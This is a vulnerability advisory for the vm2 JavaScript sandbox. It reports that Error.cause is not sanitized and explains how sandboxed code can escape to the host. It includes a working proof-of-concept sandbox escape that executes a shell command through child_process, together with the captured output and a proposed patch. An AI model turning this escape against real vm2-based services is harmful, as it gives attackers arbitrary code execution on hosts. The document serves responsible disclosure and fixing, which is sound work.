VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE

Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)

Summary

I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.

The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.

Root Cause

The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.

function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    // ... cycle detection ...
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);      // sanitized
            e.suppressed = handleException(e.suppressed, visited); // sanitized
            return e;
        }
        if (proto === localAggregateErrorProto) {
            // sanitizes e.errors[] ...
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e; // .cause is NEVER checked
}

Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.

Affected Code

• lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling)
• lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause
• docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered

Reproduction

Embedder code that exposes a function throwing with .cause set to process:

const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('fail', { cause: process });
        }
    }
});

const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        // .cause is not sanitized, so we get a direct reference to host process
        const proc = e.cause;
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);

Verified output:

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Full RCE confirmed.

Impact

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

• Full host process access (read/write files, spawn processes, network access)
• Sandbox escape with changed scope (CVSS S:C)
• No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

Suggested Fix

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    if (!visited) visited = new LocalWeakMap();
    if (apply(localWeakMapGet, visited, [e])) return e;
    apply(localWeakMapSet, visited, [e, true]);

    // Sanitize .cause on ALL errors (ES2022)
    try {
        if ('cause' in e) {
            e.cause = handleException(e.cause, visited);
        }
    } catch (ex) { /* best effort */ }

    let proto = localReflectGetPrototypeOf(e);
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);
            e.suppressed = handleException(e.suppressed, visited);
            return e;
        }
        if (proto === localAggregateErrorProto) {
            if (localArrayIsArray(e.errors)) {
                for (let i = 0; i < e.errors.length; i++) {
                    e.errors[i] = handleException(e.errors[i], visited);
                }
            }
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e;
}

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

Artifacts

| File | Role | |------|------| | poc_error_cause_escape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause | poc_error_cause_escape.js